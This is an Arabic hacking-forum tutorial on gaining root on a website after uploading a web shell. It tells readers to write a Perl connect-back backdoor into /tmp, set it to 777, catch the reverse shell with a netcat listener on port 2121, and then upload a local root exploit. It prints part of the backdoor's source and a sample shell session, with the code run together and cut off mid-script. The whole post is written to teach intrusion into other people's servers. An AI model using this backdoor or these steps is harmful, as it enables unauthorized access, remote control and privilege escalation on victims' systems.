الان لأول مرة في القراصنة العرب شرح كيفية الحصول على الرووت ...
بسم الله الرحمن الرحيم
السلام عليكم شباب
كيف حالكم انشاء الله بخير ؟؟
اليوم راح نشرح كيف نحصو على الرووت بعد ما نرفع شيل على موقع
يالا نبدأ (بسم الله) ::..
بالبداية يا شباب لازم تكون الك شوية خبرة في اختراق المواقع ورفع الشيل ولازم تعرف بعض اوامر الشيل
شوف الصورة ::.. هلأ احنا رافعين شيل على موقع بإحدى الثغرات التي تسمح برفع الشيل هسة ننتقل الى مجلد ال tmp حتقولي كيف حقلك تطلع بالصورة تمسح كل شي مكتوب وتحط
كود PHP:
/tmp لحد الان اوكي
ملاحظة :: بعض الثغرات مثل ال File inclusion مش تروح تكتب tmp على طول لازم ترجع ملف ملف الى ان توصل الى ال tmp وتدخل عليه
#!/usr/bin/perl use IO::Socket; #IRAN HACKERS SABOTAGE Connect Back Shell #code by:LorD #We Are :LorD-C0d3r-NT # #lord@SlackwareLinux:/home/programing$ perl dc.pl #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #Usage: dc.pl [Host] [Port] # #Ex: dc.pl 127.0.0.1 2121 #lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121 #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #
Resolving HostName #
Connecting... 127.0.0.1 #
Spawning Shell #
Connected to remote host
#bash-2.05b# nc -vv -l -p 2121 #listening on [any] 2121 ... #connect to [127.0.0.1] from localhost [127.0.0.1] 2121 #--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #--==Systeminfo==-- #Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux # #--==Userinfo==-- #uid=1001(lord) gid=100(users) groups=100(users) # #--==Directory==-- #/root # #--==Shell==-- #
$system = '/bin/sh'; $ARGC=@ARGV; print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n"; if ($ARGC!=2) { print "Usage: $0 [Host] [Port] \n\n"; die "Ex: $0 127.0.0.1 2121 \n"; } use Socket; use FileHandle; socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; print "
بعد ما تخزنة ترفعة على مجلد tmp حتقولي كيف راح ؟؟ على فكرة اذا كان مكتوب [OK] يعني مسموح الرفع واذا كان [Read-Only] يعني ما بتقدر ترفع بس تقرأ و دائما ملف ال tmp يكون تصريحة 777 يعني تقدر ترفع ملفات
حتقولي رفعنا البااكدور شو بنسوي هلأ ؟؟ اقلك تعطيه تصريح 777 حتقولي كيف ؟؟ حقولك في كتابة قدام الباكدورر -rw------- تحت حقل Perms اكبس عليها
حتقولي اها كبسنا عليها وبعدين ؟؟؟ حقولك اشرهم كلهم وبعدين اكبس Save راح ترجع لمجلد ال tmp وتلاقي قدام الباكدوور -rwxrwxrwx وهاد الرمز يعني تصريح البكدورر 777
نروووح نرفعه بأوامر اللينكس الي راح نطبقه من الدوس ( يعني من الباكدورر العكسي ) .. نرجع لشاشة الدوس .. نكتب الامر id لبيان حالتك على السيرفر بعدين نكتب الامر cd /tmp عشان ينقلنا الى مجلد ال tmp ثم نكتب الامر pwd لنعرف مكاننا في الموقع راح يحكلك /tmp هلأ نرفع اللوكال روت بأمر من اوامر الرفع في اللينكس